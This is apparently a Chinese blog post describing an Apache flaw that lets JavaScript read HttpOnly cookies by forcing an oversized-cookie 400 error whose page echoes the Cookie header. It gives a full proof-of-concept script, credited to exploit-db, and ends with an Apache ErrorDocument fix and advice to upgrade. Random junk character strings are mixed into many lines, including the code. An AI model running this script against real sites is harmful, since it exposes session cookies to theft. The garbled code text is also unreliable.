Apache HttpOnly Cookie XSS跨站漏洞

admin

很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题，一般都采用给cookie加上httponly的属性，来禁止直接使用js得到用户的cookie，从而降低xss的危害，而这个问题刚好可以用来绕过cookie的这个httponly的属性。
4 J# {/ G# Y# i4 j9 k
' x0 a0 {( v; ?: n1 l- E" T9 x用chrome打开一个站点，F12打开开发者工具，找到console输入如下代码并回车:


// http://www.exploit-db.com/exploits/18442/
function setCookies (good) {
3 r. E. H  ^4 w# W// Construct string for cookie value
var str = "";
; A& J: G0 L, Y3 N- v9 L9 |6 wfor (var i=0; i< 819; i++) {
8 F' w: V8 T* |2 d9 Hstr += "x";
}
// Set cookies
/ k1 T% W9 O  y9 S/ j. n5 \for (i = 0; i < 10; i++) {
// Expire evil cookie
; L3 \/ c3 O! y/ U3 Z- Oif (good) {
, N7 D, j" \/ m  F  X! Dvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
* d5 q: `! d1 K1 H! e}
// Set evil cookie
else {
var cookie = "xss"+i+"="+str+";path=/";
: @  U+ Y( w  c1 }" V1 N}
6 ~% c9 ]" M3 G$ {, V( a7 d8 ~& ^9 edocument.cookie = cookie;
}
}
function makeRequest() {
! k  L7 K2 T4 }5 h" d' AsetCookies();
+ J5 O* d: m9 \! r% Vfunction parseCookies () {
var cookie_dict = {};
5 u* b4 y! ?* V; ]// Only react on 400 status
3 n0 Q0 L$ {* V5 w" b& tif (xhr.readyState === 4 && xhr.status === 400) {
// Replace newlines and match <pre> content
! T5 e! r. w% q6 ^7 i$ K1 svar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
if (content.length) {
// Remove Cookie: prefix
9 y. P& p8 K. h( e" S: O" gcontent = content[1].replace("Cookie: ", "");
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
// Add cookies to object
for (var i=0; i<cookies.length; i++) {
var s_c = cookies.split('=',2);
2 u, s( Z3 w2 h( |& Wcookie_dict[s_c[0]] = s_c[1];
, V9 L% C$ ?  G# M, I}
2 P: M" }3 }% N0 l! C. s6 [8 L) [}
// Unset malicious cookies
setCookies(true);
! }6 ^% g. t4 ~6 x# o  C# c( halert(JSON.stringify(cookie_dict));
}
1 s& T8 Y/ r7 R; J" g  f( i- ^}
// Make XHR request
  A! n. c( |9 F  Jvar xhr = new XMLHttpRequest();
! c& a+ H$ _' a' |xhr.onreadystatechange = parseCookies;
xhr.open("GET", "/", true);
xhr.send(null);
}
makeRequest();

/ [) B# Z$ C. N3 q6 q你就能看见华丽丽的400错误包含着cookie信息。
/ ~4 {) F( ]/ {
下载地址：https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
) n% Q9 j* w+ k9 {, a9 F: q
修复方案：
6 N7 i1 [) P" w! L
" a5 V) \" F  r, z9 t5 M2 TApache官方提供4种错误处理方式（http://httpd.apache.org/docs/2.0/mod/core.html#errordocument），如下
2 E" Z2 q2 Z) @4 S( G$ z/ X0 n
In the event of a problem or error, Apachecan be configured to do one of four things,
- L* Z5 ?- G% l, [1 [: s
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
$ }" O$ C% R1 t  d6 A5 @2. output acustomized message输出一段信息
3 e" E" }0 }" O( \3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
: ?8 H4 C% A9 l$ ^/ P4. redirect to an external URL to handle theproblem/error转向一个外部URL
9 k: h, H( W- l! _& d0 s/ `) Z
2 e$ f1 U& v  f. B" s% P" |. R4 W经测试，对于400错误只有方法2有效，返回包不会再包含cookie内容

  a8 ?0 h9 {% t+ f6 d# z7 u: [Apache配置：
$ {( X3 i7 [/ n/ b, c+ G: G
( l. s2 @; @  T  F7 p: u8 pErrorDocument400 " security test"
# O# N' V% R+ z1 J1 P- o
当然，升级apache到最新也可：）。

! y8 ~8 S+ W. r0 e+ r6 F参考：http://httpd.apache.org/security/vulnerabilities_22.html